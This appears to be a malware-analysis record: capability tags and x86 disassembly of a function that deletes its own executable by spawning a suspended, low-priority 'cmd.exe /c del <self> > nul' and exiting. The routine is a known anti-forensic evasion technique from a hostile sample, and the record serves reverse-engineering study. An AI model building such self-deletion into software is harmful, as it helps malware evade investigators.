Function at 0x401f50
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a0
push ebx
push esi
push edi
lea edi, [ebp - 0x3a0]
mov ecx, 0xe8
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x4021ba
mov esi, esp
push 0x104
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x4021ba
mov esi, esp
push 0x104
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp esi, esp
call fcn.00403670
push str.cmd.exe
lea ecx, [ebp - 0x208]
push ecx
call fcn.00403b40
add esp, 8
mov esi, esp
push str.__c__del
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00403670
mov esi, esp
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00403670
mov esi, esp
push str.___nul
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00403670
mov esi, esp
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp esi, esp
call fcn.00403670
mov dword [ebp - 0x350], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x34c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x360], 0
xor edx, edx
mov dword [ebp - 0x35c], edx
mov dword [ebp - 0x358], edx
mov dword [ebp - 0x354], edx
mov dword [ebp - 0x350], 0x44
mov dword [ebp - 0x324], 1
mov word [ebp - 0x320], 0
mov esi, esp
push 0x100
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.00403670
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0xf
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp edi, esp
call fcn.00403670
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp esi, esp
call fcn.00403670
mov esi, esp
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x350]
push ecx
push 0
push 0
push 0xc
push 0
push 0
push 0
lea edx, [ebp - 0x208]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp esi, esp
call fcn.00403670
test eax, eax
je 0x402178
mov esi, esp
push 0x40
mov eax, dword [ebp - 0x360]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0xfffffffffffffff1
mov ecx, dword [ebp - 0x35c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp esi, esp
call fcn.00403670
mov esi, esp
mov edx, dword [ebp - 0x35c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp esi, esp
call fcn.00403670
mov eax, 1
jmp 0x4021c1
mov esi, esp
push 0x20
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, esp
call fcn.00403670
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
cmp esi, esp
call fcn.00403670
mov esi, esp
push 0
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp edi, esp
call fcn.00403670
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
cmp esi, esp
call fcn.00403670
push 0
call fcn.004036f0
pop edi
pop esi
pop ebx
add esp, 0x3a0
cmp ebp, esp
call fcn.00403670
mov esp, ebp
pop ebp
ret